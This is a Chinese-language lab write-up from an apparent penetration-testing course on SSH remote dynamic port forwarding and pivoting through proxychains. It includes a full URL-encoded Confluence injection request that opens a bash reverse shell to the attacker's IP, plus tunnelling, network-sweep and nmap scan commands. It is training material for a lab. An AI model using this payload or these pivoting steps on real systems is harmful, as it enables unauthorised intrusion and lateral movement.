SSH Tunneling - Remote Dynamic Port Forwarding

 SSH Tunneling - Remote Dynamic Port Forwarding

延續上一節的遠端連接 Port 與上上節的動態連接 Port

這一次做到遠端動態連接 Port，場景簡單說明如下圖

要記得走動態的的方式都是透過 SOCKS 格式的封包傳送(相當的慢)，然後透過 proxychains

環境說明攻擊機 192.168.45.186

靶機 192.168.250.63(Web)、10.4.250.215(DB)、192.168.250.63(同網段不對外伺服器)

示意圖如下

一樣漏洞進入 192.168.250.63

curl -v http://192.168.250.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.186/4444%200%3E%261%27%29.start%28%29%22%29%7D/

為了使用使用者名稱和密碼連接回 Kali SSH 伺服器，必須透過在 /etc/ssh/sshd_config 中將PasswordAuthentication 設定為 yes 來明確允許基於密碼的身份驗證

然後確保 TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'

然後 ssh -N -R 9998 kali@192.168.45.186

攻擊機的 9998 Port 對應好了

然後要記得修改 /etc/proxychains4.conf 中的 Proxychains 設置如下

Web Server 上有兩隻腳

 - ens192 : 192.168.250.63

 - ens224 : 10.4.250.63

for i in $(seq 63 65); do ping  -c 1 10.4.250.$i; done，知道同網段的 IP 是 10.4.250.64

雖然 ping 不到但是 cat ARP table 可以看到 cat /proc/net/arp

掃一下 10.4.250.64 看看有開哪一個 9000~9100 Port，因為慢所以從結果知道是 9062

所以指令只掃 9060~9095 看結果

指令 proxychains nmap -T4 -sT -p T:9060-9065 10.4.250.64

練習 :

從 CONFLUENCE01 上的 Web 伺服器下載 /exercises/ssh_remote_dynamic_client 。透過遠端動態連接埠轉送針對您剛剛在 MULTISERVER03 上找到的連接埠執行它。 注意：用於建置ssh_remote_dynamic_client二進位檔案的來源檔案可以從/exercises/client_source.zip 下載。

一樣先下載 ssh_remote_dynamic_client

http://192.168.250.63:8090/exercises/ssh_remote_dynamic_client

再下載 client_source.zip

http://192.168.250.63:8090/exercises/client_source.zip

建立一個 1834 的資料匣，將 zip 檔解壓縮與 ssh_remote_dynamic_client 放在同一個地方

一樣記得將 ssh_remote_dynamic_client 權限改一下

chmod 777 ssh_remote_dynamic_client

直接執行拿 flag 吧

proxychains ./ssh_remote_dynamic_client -p 9062 -i 10.4.250.64